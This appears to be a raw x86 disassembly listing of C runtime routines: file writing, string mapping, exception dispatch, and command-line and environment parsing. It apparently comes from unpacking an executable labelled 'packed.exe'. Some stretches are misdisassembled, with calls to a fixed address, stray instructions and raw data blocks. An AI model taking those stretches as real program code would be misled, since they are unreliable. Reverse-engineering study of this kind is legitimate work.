sar edx, 5 and ebx, 1Fh mov edx, ds:dword_4DE1E0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_422B30 mov edx, ecx loc_422B0A: ; CODE XREF: sub_422A9E+79j cmp edx, eax jnb short loc_422B30 cmp byte ptr [edx], 0Ah jnz short loc_422B16 inc [ebp+var_8] loc_422B16: ; CODE XREF: sub_422A9E+73j inc edx jmp short loc_422B0A ; --------------------------------------------------------------------------- loc_422B19: ; CODE XREF: sub_422A9E+50j test dl, 80h jnz short loc_422B30 mov ds:dword_4DDEB4, 16h loc_422B28: ; CODE XREF: sub_422A9E+2Dj or eax, 0FFFFFFFFh jmp loc_422BF1 ; --------------------------------------------------------------------------- loc_422B30: ; CODE XREF: sub_422A9E+68j ; sub_422A9E+6Ej ... cmp [ebp+var_4], 0 jnz short loc_422B3E mov eax, [ebp+var_8] jmp loc_422BF1 ; --------------------------------------------------------------------------- loc_422B3E: ; CODE XREF: sub_422A9E+96j test byte ptr [edi+0Ch], 1 jz loc_422BE9 mov edx, [edi+4] test edx, edx jnz short loc_422B57 and [ebp+var_8], edx jmp loc_422BE9 ; --------------------------------------------------------------------------- loc_422B57: ; CODE XREF: sub_422A9E+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DE1E0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_422BE3 push 2 push 0 push [ebp+var_C] call sub_422A04 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_422BAA mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_422B95: ; CODE XREF: sub_422A9E+104j cmp eax, ecx jnb short loc_422BA4 cmp byte ptr [eax], 0Ah jnz short loc_422BA1 inc [ebp+arg_0] loc_422BA1: ; CODE XREF: sub_422A9E+FEj inc eax jmp short loc_422B95 ; --------------------------------------------------------------------------- loc_422BA4: ; CODE XREF: sub_422A9E+F9j test byte ptr [edi+0Dh], 20h jmp short loc_422BDE ; --------------------------------------------------------------------------- loc_422BAA: ; CODE XREF: sub_422A9E+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_422A04 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_422BD1 mov ecx, [edi+0Ch] test cl, 8 jz short loc_422BD1 test ch, 4 jz short loc_422BD4 loc_422BD1: ; CODE XREF: sub_422A9E+124j ; sub_422A9E+12Cj mov eax, [edi+18h] loc_422BD4: ; CODE XREF: sub_422A9E+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_422BDE: ; CODE XREF: sub_422A9E+10Aj jz short loc_422BE3 inc [ebp+arg_0] loc_422BE3: ; CODE XREF: sub_422A9E+D9j ; sub_422A9E:loc_422BDEj mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422BE9: ; CODE XREF: sub_422A9E+A4j ; sub_422A9E+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422BF1: ; CODE XREF: sub_422A9E+3Cj ; sub_422A9E+8Dj ... pop edi pop esi pop ebx leave retn sub_422A9E endp ; --------------------------------------------------------------------------- loc_422BF6: ; CODE XREF: sub_41D4D4+A2p ; sub_41DDAB+2Cp ... push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+8] push ebx cmp ecx, ds:dword_4DE2E0 push esi push edi jnb loc_422D8A mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DE1E0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_422D8A xor edi, edi cmp [ebp+10h], edi mov [ebp-8], edi mov [ebp-10h], edi jnz short loc_422C47 loc_422C40: ; CODE XREF: seg000:00422D6Dj xor eax, eax jmp loc_422D9E ; --------------------------------------------------------------------------- loc_422C47: ; CODE XREF: seg000:00422C3Ej test al, 20h jz short loc_422C57 push 2 push edi push ecx call sub_422A04 add esp, 0Ch loc_422C57: ; CODE XREF: seg000:00422C49j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_422D26 mov eax, [ebp+0Ch] cmp [ebp+10h], edi mov [ebp-4], eax mov [ebp+8], edi jbe loc_422D5E loc_422C77: ; CODE XREF: seg000:00422CEBj lea eax, [ebp-414h] loc_422C7D: ; CODE XREF: seg000:00422CAFj mov ecx, [ebp-4] sub ecx, [ebp+0Ch] cmp ecx, [ebp+10h] jnb short loc_422CB1 mov ecx, [ebp-4] inc dword ptr [ebp-4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_422C9C inc dword ptr [ebp-10h] mov byte ptr [eax], 0Dh inc eax loc_422C9C: ; CODE XREF: seg000:00422C93j mov [eax], cl inc eax mov ecx, eax lea edx, [ebp-414h] sub ecx, edx cmp ecx, 400h jl short loc_422C7D loc_422CB1: ; CODE XREF: seg000:00422C86j mov edi, eax lea eax, [ebp-414h] sub edi, eax lea eax, [ebp-0Ch] push 0 ; CODE XREF: seg000:00422D38j push eax lea eax, [ebp-414h] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 0B10000h xchg eax, ebp test eax, eax jz short loc_422D1B mov eax, [ebp-0Ch] add [ebp-8], eax cmp eax, edi jl short loc_422CED mov eax, [ebp-4] sub eax, [ebp+0Ch] cmp eax, [ebp+10h] jb short loc_422C77 loc_422CED: ; CODE XREF: seg000:00422CE0j ; seg000:00422D24j xor edi, edi loc_422CEF: ; CODE XREF: seg000:00422D46j ; seg000:00422D51j mov eax, [ebp-8] cmp eax, edi jnz loc_422D85 cmp [ebp+8], edi jz short loc_422D5E push 5 pop eax cmp [ebp+8], eax jnz short loc_422D53 mov ds:dword_4DDEB4, 9 mov ds:dword_4DDEB8, eax jmp loc_422D9B ; --------------------------------------------------------------------------- loc_422D1B: ; CODE XREF: seg000:00422CD6j call ds:dword_42808C ; RtlGetLastWin32Error mov [ebp+8], eax jmp short loc_422CED ; --------------------------------------------------------------------------- loc_422D26: ; CODE XREF: seg000:00422C5Fj lea ecx, [ebp-0Ch] push edi push ecx push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [eax] call near ptr 0B10000h jnb short near ptr loc_422CBE+1 sal byte ptr [ebx+ecx-75h], 45h hlt ; --------------------------------------------------------------------------- mov [ebp+8], edi mov [ebp-8], eax jmp short loc_422CEF ; --------------------------------------------------------------------------- call ds:dword_42808C ; RtlGetLastWin32Error mov [ebp+8], eax jmp short loc_422CEF ; --------------------------------------------------------------------------- loc_422D53: ; CODE XREF: seg000:00422D05j push dword ptr [ebp+8] call sub_4205FF pop ecx jmp short loc_422D9B ; --------------------------------------------------------------------------- loc_422D5E: ; CODE XREF: seg000:00422C71j ; seg000:00422CFDj mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_422D73 mov eax, [ebp+0Ch] cmp byte ptr [eax], 1Ah jz loc_422C40 loc_422D73: ; CODE XREF: seg000:00422D65j mov ds:dword_4DDEB4, 1Ch mov ds:dword_4DDEB8, edi jmp short loc_422D9B ; --------------------------------------------------------------------------- loc_422D85: ; CODE XREF: seg000:00422CF4j sub eax, [ebp-10h] jmp short loc_422D9E ; --------------------------------------------------------------------------- loc_422D8A: ; CODE XREF: seg000:00422C0Bj ; seg000:00422C2Dj and ds:dword_4DDEB8, 0 mov ds:dword_4DDEB4, 9 loc_422D9B: ; CODE XREF: seg000:00422D16j ; seg000:00422D5Cj ... or eax, 0FFFFFFFFh loc_422D9E: ; CODE XREF: seg000:00422C42j ; seg000:00422D88j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422DA3: ; CODE XREF: sub_41D7CA+47p ; sub_41D7CA+74p ... push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428948 push offset sub_4237BC mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp-18h], esp xor edi, edi cmp ds:dword_4DDF90, edi jnz short loc_422E19 push edi push edi push 1 pop ebx push ebx push offset dword_428940 mov esi, 100h push esi push edi call ds:dword_428050 ; LCMapStringW test eax, eax jz short loc_422DF7 mov ds:dword_4DDF90, ebx jmp short loc_422E19 ; --------------------------------------------------------------------------- loc_422DF7: ; CODE XREF: seg000:00422DEDj push edi push edi push ebx push offset dword_4CDAB0 push esi push edi call near ptr 0B10000h daa test eax, eax jz loc_422F31 mov ds:dword_4DDF90, 2 loc_422E19: ; CODE XREF: seg000:00422DD1j ; seg000:00422DF5j cmp [ebp+14h], edi jle short loc_422E2E push dword ptr [ebp+14h] push dword ptr [ebp+10h] call sub_422FC7 pop ecx pop ecx mov [ebp+14h], eax loc_422E2E: ; CODE XREF: seg000:00422E1Cj mov eax, ds:dword_4DDF90 cmp eax, 2 jnz short near ptr loc_422E54+1 push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 0B10000h mov eax, 0DEE9h loc_422E54: ; CODE XREF: seg000:00422E36j add [ebx-7AF0FE08h], al rol dword ptr [eax], cl ; --------------------------------------------------------------------------- dd 7D390000h, 0A1087520h, 4DDF84h, 57204589h, 1475FF57h dd 8B1075FFh, 0D8F72445h, 0E083C01Bh, 0FF504008h, 15FF2075h dd 428184h, 5D89D88Bh, 0FDF3BE4h, 9C84h, 0FC7D8900h, 831B048Dh dd 0FC2403C0h, 0FF8E6BE8h, 0E86589FFh, 4589C48Bh, 0FC4D83DCh dd 6A13EBFFh, 8BC35801h, 0FF33E865h, 83DC7D89h, 8BFFFC4Dh dd 7D39E45Dh, 536674DCh, 0FFDC75FFh, 75FF1475h, 0FF016A10h dd 15FF2075h, 428184h, 4D74C085h, 0FF535757h, 75FFDC75h dd 875FF0Ch, 805015FFh, 0F08B0042h, 3BD87589h, 0F63274F7h dd 74040D45h, 1C7D3940h, 0B2840Fh, 753B0000h, 0FF1E7F1Ch dd 75FF1C75h, 75FF5318h, 0C75FFDCh, 0FF0875FFh, 42805015h dd 0FC08500h, 8F85h db 0 ; --------------------------------------------------------------------------- loc_422F31: ; CODE XREF: seg000:00422E09j ; seg000:00422F7Bj ... xor eax, eax loc_422F33: ; CODE XREF: seg000:00422FC2j lea esp, [ebp-38h] mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- mov dword ptr [ebp-4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BD10 mov [ebp-18h], esp mov ebx, esp mov [ebp-20h], ebx or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_422F79 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor edi, edi xor ebx, ebx or dword ptr [ebp-4], 0FFFFFFFFh mov esi, [ebp-28h] loc_422F79: ; CODE XREF: seg000:00422F65j cmp ebx, edi jz short loc_422F31 push esi push ebx push dword ptr [ebp-1Ch] push dword ptr [ebp-24h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_428050 ; LCMapStringW test eax, eax jz short loc_422F31 cmp [ebp+1Ch], edi push edi push edi jnz short loc_422FA0 push edi push edi jmp short loc_422FA6 ; --------------------------------------------------------------------------- loc_422FA0: ; CODE XREF: seg000:00422F9Aj push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] loc_422FA6: ; CODE XREF: seg000:00422F9Ej push esi push ebx push 220h push dword ptr [ebp+20h] call ds:dword_428180 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_422F31 mov eax, esi jmp loc_422F33 ; =============== S U B R O U T I N E ======================================= sub_422FC7 proc near ; CODE XREF: seg000:00422E24p ; sub_426153+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_422FE4 loc_422FD7: ; CODE XREF: sub_422FC7+1Bj cmp byte ptr [eax], 0 jz short loc_422FE4 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_422FD7 loc_422FE4: ; CODE XREF: sub_422FC7+Ej ; sub_422FC7+13j cmp byte ptr [eax], 0 pop esi jnz short loc_422FEF sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_422FEF: ; CODE XREF: sub_422FC7+21j mov eax, edx retn sub_422FC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422FF2 proc near ; CODE XREF: seg000:0041DC36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push [ebp+arg_0] call sub_423133 test eax, eax pop ecx jz loc_423127 mov ebx, [eax+8] test ebx, ebx jz loc_423127 cmp ebx, 5 jnz short loc_423023 and dword ptr [eax+8], 0 push 1 pop eax jmp loc_423130 ; --------------------------------------------------------------------------- loc_423023: ; CODE XREF: sub_422FF2+23j cmp ebx, 1 jz loc_423122 mov ecx, ds:dword_4DDF94 mov [ebp+arg_0], ecx mov ecx, [ebp+arg_4] mov ds:dword_4DDF94, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_423112 mov ecx, ds:dword_43F850 mov edx, ds:dword_43F854 add edx, ecx push esi cmp ecx, edx jge short loc_423072 lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43F7E0h[esi*4] loc_423069: ; CODE XREF: sub_422FF2+7Ej and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_423069 loc_423072: ; CODE XREF: sub_422FF2+69j mov eax, [eax] mov esi, ds:dword_43F85C cmp eax, 0C000008Eh jnz short loc_42308D mov ds:dword_43F85C, 83h jmp short loc_4230FD ; --------------------------------------------------------------------------- loc_42308D: ; CODE XREF: sub_422FF2+8Dj cmp eax, 0C0000090h jnz short loc_4230A0 mov ds:dword_43F85C, 81h jmp short loc_4230FD ; --------------------------------------------------------------------------- loc_4230A0: ; CODE XREF: sub_422FF2+A0j cmp eax, 0C0000091h jnz short loc_4230B3 mov ds:dword_43F85C, 84h jmp short loc_4230FD ; --------------------------------------------------------------------------- loc_4230B3: ; CODE XREF: sub_422FF2+B3j cmp eax, 0C0000093h jnz short loc_4230C6 mov ds:dword_43F85C, 85h jmp short loc_4230FD ; --------------------------------------------------------------------------- loc_4230C6: ; CODE XREF: sub_422FF2+C6j cmp eax, 0C000008Dh jnz short loc_4230D9 mov ds:dword_43F85C, 82h jmp short loc_4230FD ; --------------------------------------------------------------------------- loc_4230D9: ; CODE XREF: sub_422FF2+D9j cmp eax, 0C000008Fh jnz short loc_4230EC mov ds:dword_43F85C, 86h jmp short loc_4230FD ; --------------------------------------------------------------------------- loc_4230EC: ; CODE XREF: sub_422FF2+ECj cmp eax, 0C0000092h jnz short loc_4230FD mov ds:dword_43F85C, 8Ah loc_4230FD: ; CODE XREF: sub_422FF2+99j ; sub_422FF2+ACj ... push ds:dword_43F85C push 8 call ebx pop ecx mov ds:dword_43F85C, esi pop ecx pop esi jmp short loc_42311A ; --------------------------------------------------------------------------- loc_423112: ; CODE XREF: sub_422FF2+52j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_42311A: ; CODE XREF: sub_422FF2+11Ej mov eax, [ebp+arg_0] mov ds:dword_4DDF94, eax loc_423122: ; CODE XREF: sub_422FF2+34j or eax, 0FFFFFFFFh jmp short loc_423130 ; --------------------------------------------------------------------------- loc_423127: ; CODE XREF: sub_422FF2+Fj ; sub_422FF2+1Aj push [ebp+arg_4] call ds:dword_42804C ; UnhandledExceptionFilter loc_423130: ; CODE XREF: sub_422FF2+2Cj ; sub_422FF2+133j pop ebx pop ebp retn sub_422FF2 endp ; =============== S U B R O U T I N E ======================================= sub_423133 proc near ; CODE XREF: sub_422FF2+7p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, ds:dword_43F858 cmp ds:dword_43F7D8, edx push esi mov eax, offset dword_43F7D8 jz short loc_423160 lea esi, [ecx+ecx*2] lea esi, ds:43F7D8h[esi*4] loc_423155: ; CODE XREF: sub_423133+2Bj add eax, 0Ch cmp eax, esi jnb short loc_423160 cmp [eax], edx jnz short loc_423155 loc_423160: ; CODE XREF: sub_423133+16j ; sub_423133+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43F7D8h[ecx*4] cmp eax, ecx jnb short loc_423173 cmp [eax], edx jz short locret_423175 loc_423173: ; CODE XREF: sub_423133+3Aj xor eax, eax locret_423175: ; CODE XREF: sub_423133+3Ej retn sub_423133 endp ; --------------------------------------------------------------------------- cmp ds:dword_4DF554, 0 jnz short loc_423184 call sub_42048D loc_423184: ; CODE XREF: seg000:0042317Dj push esi mov esi, ds:dword_4DF54C mov al, [esi] cmp al, 22h jnz short loc_4231B6 loc_423191: ; CODE XREF: seg000:004231A9j ; seg000:004231ACj mov al, [esi+1] inc esi cmp al, 22h jz short loc_4231AE test al, al jz short loc_4231AE movzx eax, al push eax call sub_42508F test eax, eax pop ecx jz short loc_423191 inc esi jmp short loc_423191 ; --------------------------------------------------------------------------- loc_4231AE: ; CODE XREF: seg000:00423197j ; seg000:0042319Bj cmp byte ptr [esi], 22h jnz short loc_4231C0 loc_4231B3: ; CODE XREF: seg000:004231C8j inc esi jmp short loc_4231C0 ; --------------------------------------------------------------------------- loc_4231B6: ; CODE XREF: seg000:0042318Fj cmp al, 20h jbe short loc_4231C0 loc_4231BA: ; CODE XREF: seg000:004231BEj inc esi cmp byte ptr [esi], 20h ja short loc_4231BA loc_4231C0: ; CODE XREF: seg000:004231B1j ; seg000:004231B4j ... mov al, [esi] test al, al jz short loc_4231CA cmp al, 20h jbe short loc_4231B3 loc_4231CA: ; CODE XREF: seg000:004231C4j mov eax, esi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_4231CE proc near ; CODE XREF: seg000:0041DBE1p push ebx xor ebx, ebx cmp ds:dword_4DF554, ebx push esi push edi jnz short loc_4231E0 call sub_42048D loc_4231E0: ; CODE XREF: sub_4231CE+Bj mov esi, ds:dword_4DDF28 xor edi, edi loc_4231E8: ; CODE XREF: sub_4231CE+30j mov al, [esi] cmp al, bl jz short loc_423200 cmp al, 3Dh jz short loc_4231F3 inc edi loc_4231F3: ; CODE XREF: sub_4231CE+22j push esi call sub_41B1D0 pop ecx lea esi, [esi+eax+1] jmp short loc_4231E8 ; --------------------------------------------------------------------------- loc_423200: ; CODE XREF: sub_4231CE+1Ej lea eax, ds:4[edi*4] push eax call sub_41B6C5 mov esi, eax pop ecx cmp esi, ebx mov ds:dword_4DDEDC, esi jnz short loc_423222 push 9 call sub_41DC49 pop ecx loc_423222: ; CODE XREF: sub_4231CE+4Aj mov edi, ds:dword_4DDF28 cmp [edi], bl jz short loc_423265 push ebp loc_42322D: ; CODE XREF: sub_4231CE+94j push edi call sub_41B1D0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_42325E push ebp call sub_41B6C5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_423251 push 9 call sub_41DC49 pop ecx loc_423251: ; CODE XREF: sub_4231CE+79j push edi push dword ptr [esi] call sub_41C0A0 pop ecx add esi, 4 pop ecx loc_42325E: ; CODE XREF: sub_4231CE+6Cj add edi, ebp cmp [edi], bl jnz short loc_42322D pop ebp loc_423265: ; CODE XREF: sub_4231CE+5Cj push ds:dword_4DDF28 call sub_41B2A1 pop ecx mov ds:dword_4DDF28, ebx mov [esi], ebx pop edi pop esi mov ds:dword_4DF550, 1 pop ebx retn sub_4231CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423287 proc near ; CODE XREF: seg000:0041DBDCp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp ds:dword_4DF554, ebx push esi push edi jnz short loc_42329E call sub_42048D loc_42329E: ; CODE XREF: sub_423287+10j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call near ptr 0C70004h mov eax, ss:dword_4DF54C mov ds:off_4DDEEC, esi mov edi, esi cmp [eax], bl jz short loc_4232C3 mov edi, eax loc_4232C3: ; CODE XREF: sub_423287+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_423320 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_41B6C5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_4232F3 push 8 call sub_41DC49 pop ecx loc_4232F3: ; CODE XREF: sub_423287+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_423320 mov eax, [ebp+var_4] add esp, 14h dec eax mov ds:dword_4DDED4, esi pop edi pop esi mov ds:dword_4DDED0, eax pop ebx leave retn sub_423287 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423320 proc near ; CODE XREF: sub_423287+47p ; sub_423287+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_42334A mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_42334A: ; CODE XREF: sub_423320+20j cmp byte ptr [eax], 22h jnz short loc_423393 loc_42334F: ; CODE XREF: sub_423320+58j ; sub_423320+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_423381 test dl, dl jz short loc_423381 movzx edx, dl test ds:byte_4DF421[edx], 4 jz short loc_423374 inc dword ptr [ecx] test esi, esi jz short loc_423374 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423374: ; CODE XREF: sub_423320+46j ; sub_423320+4Cj inc dword ptr [ecx] test esi, esi jz short loc_42334F mov dl, [eax] mov [esi], dl inc esi jmp short loc_42334F ; --------------------------------------------------------------------------- loc_423381: ; CODE XREF: sub_423320+36j ; sub_423320+3Aj inc dword ptr [ecx] test esi, esi jz short loc_42338B and byte ptr [esi], 0 inc esi loc_42338B: ; CODE XREF: sub_423320+65j cmp byte ptr [eax], 22h jnz short loc_4233D6 inc eax jmp short loc_4233D6 ; --------------------------------------------------------------------------- loc_423393: ; CODE XREF: sub_423320+2Dj ; sub_423320+A5j inc dword ptr [ecx] test esi, esi jz short loc_42339E mov dl, [eax] mov [esi], dl inc esi loc_42339E: ; CODE XREF: sub_423320+77j mov dl, [eax] inc eax movzx ebx, dl test ds:byte_4DF421[ebx], 4 jz short loc_4233B9 inc dword ptr [ecx] test esi, esi jz short loc_4233B8 mov bl, [eax] mov [esi], bl inc esi loc_4233B8: ; CODE XREF: sub_423320+91j inc eax loc_4233B9: ; CODE XREF: sub_423320+8Bj cmp dl, 20h jz short loc_4233C7 test dl, dl jz short loc_4233CB cmp dl, 9 jnz short loc_423393 loc_4233C7: ; CODE XREF: sub_423320+9Cj test dl, dl jnz short loc_4233CE loc_4233CB: ; CODE XREF: sub_423320+A0j dec eax jmp short loc_4233D6 ; --------------------------------------------------------------------------- loc_4233CE: ; CODE XREF: sub_423320+A9j test esi, esi jz short loc_4233D6 and byte ptr [esi-1], 0 loc_4233D6: ; CODE XREF: sub_423320+6Ej ; sub_423320+71j ... and [ebp+arg_10], 0 loc_4233DA: ; CODE XREF: sub_423320+19Ej cmp byte ptr [eax], 0 jz loc_4234C3 loc_4233E3: ; CODE XREF: sub_423320+D0j mov dl, [eax] cmp dl, 20h jz short loc_4233EF cmp dl, 9 jnz short loc_4233F2 loc_4233EF: ; CODE XREF: sub_423320+C8j inc eax jmp short loc_4233E3 ; --------------------------------------------------------------------------- loc_4233F2: ; CODE XREF: sub_423320+CDj cmp byte ptr [eax], 0 jz loc_4234C3 test edi, edi jz short loc_423407 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423407: ; CODE XREF: sub_423320+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_42340C: ; CODE XREF: sub_423320+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_423415: ; CODE XREF: sub_423320+FCj cmp byte ptr [eax], 5Ch jnz short loc_42341E inc eax inc ebx jmp short loc_423415 ; --------------------------------------------------------------------------- loc_42341E: ; CODE XREF: sub_423320+F8j cmp byte ptr [eax], 22h jnz short loc_42344F test bl, 1 jnz short loc_42344D xor edi, edi cmp [ebp+arg_10], edi jz short loc_42343C cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_42343C mov eax, edx jmp short loc_42343F ; --------------------------------------------------------------------------- loc_42343C: ; CODE XREF: sub_423320+10Dj ; sub_423320+116j mov [ebp+arg_0], edi loc_42343F: ; CODE XREF: sub_423320+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_42344D: ; CODE XREF: sub_423320+106j shr ebx, 1 loc_42344F: ; CODE XREF: sub_423320+101j mov edx, ebx dec ebx test edx, edx jz short loc_423464 inc ebx loc_423457: ; CODE XREF: sub_423320+142j test esi, esi jz short loc_42345F mov byte ptr [esi], 5Ch inc esi loc_42345F: ; CODE XREF: sub_423320+139j inc dword ptr [ecx] dec ebx jnz short loc_423457 loc_423464: ; CODE XREF: sub_423320+134j mov dl, [eax] test dl, dl jz short loc_4234B4 cmp [ebp+arg_10], 0 jnz short loc_42347A cmp dl, 20h jz short loc_4234B4 cmp dl, 9 jz short loc_4234B4 loc_42347A: ; CODE XREF: sub_423320+14Ej cmp [ebp+arg_0], 0 jz short loc_4234AE test esi, esi jz short loc_42349D movzx ebx, dl test ds:byte_4DF421[ebx], 4 jz short loc_423496 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_423496: ; CODE XREF: sub_423320+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4234AC ; --------------------------------------------------------------------------- loc_42349D: ; CODE XREF: sub_423320+162j movzx edx, dl test ds:byte_4DF421[edx], 4 jz short loc_4234AC inc eax inc dword ptr [ecx] loc_4234AC: ; CODE XREF: sub_423320+17Bj ; sub_423320+187j inc dword ptr [ecx] loc_4234AE: ; CODE XREF: sub_423320+15Ej inc eax jmp loc_42340C ; --------------------------------------------------------------------------- loc_4234B4: ; CODE XREF: sub_423320+148j ; sub_423320+153j ... test esi, esi jz short loc_4234BC and byte ptr [esi], 0 inc esi loc_4234BC: ; CODE XREF: sub_423320+196j inc dword ptr [ecx] jmp loc_4233DA ; --------------------------------------------------------------------------- loc_4234C3: ; CODE XREF: sub_423320+BDj ; sub_423320+D5j test edi, edi jz short loc_4234CA and dword ptr [edi], 0 loc_4234CA: ; CODE XREF: sub_423320+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_423320 endp ; =============== S U B R O U T I N E ======================================= sub_4234D4 proc near ; CODE XREF: seg000:0041DBD2p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, ds:dword_4DE09C push ebx push ebp mov ebp, ds:dword_42803C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_423522 call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_423503 mov ds:dword_4DE09C, 1 jmp short loc_42352B ; --------------------------------------------------------------------------- loc_423503: ; CODE XREF: sub_4234D4+21j call ds:dword_428040 ; GetEnvironmentStrings mov edi, eax cmp edi, ebx jz loc_4235FD mov ds:dword_4DE09C, 2 jmp loc_4235B1 ; --------------------------------------------------------------------------- loc_423522: ; CODE XREF: sub_4234D4+19j cmp eax, 1 jnz loc_4235AC loc_42352B: ; CODE XREF: sub_4234D4+2Dj cmp esi, ebx jnz short loc_42353B call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz loc_4235FD loc_42353B: ; CODE XREF: sub_4234D4+59j cmp [esi], bx mov eax, esi jz short loc_423550 loc_423542: ; CODE XREF: sub_4234D4+73j ; sub_4234D4+7Aj inc eax inc eax cmp [eax], bx jnz short loc_423542 inc eax inc eax cmp [eax], bx jnz short loc_423542 loc_423550: ; CODE XREF: sub_4234D4+6Cj sub eax, esi mov edi, ds:dword_428180 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_4235A1 push ebp call sub_41B6C5 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_4235A1 push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_42359D push [esp+18h+var_8] call sub_41B2A1 pop ecx mov [esp+18h+var_8], ebx loc_42359D: ; CODE XREF: sub_4234D4+B9j mov ebx, [esp+18h+var_8] loc_4235A1: ; CODE XREF: sub_4234D4+99j ; sub_4234D4+A8j push esi call ds:dword_428044 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_4235FF ; --------------------------------------------------------------------------- loc_4235AC: ; CODE XREF: sub_4234D4+51j cmp eax, 2 jnz short loc_4235FD loc_4235B1: ; CODE XREF: sub_4234D4+49j cmp edi, ebx jnz short loc_4235C1 call ds:dword_428040 ; GetEnvironmentStrings mov edi, eax cmp edi, ebx jz short loc_4235FD loc_4235C1: ; CODE XREF: sub_4234D4+DFj cmp [edi], bl mov eax, edi jz short loc_4235D1 loc_4235C7: ; CODE XREF: sub_4234D4+F6j ; sub_4234D4+FBj inc eax cmp [eax], bl jnz short loc_4235C7 inc eax cmp [eax], bl jnz 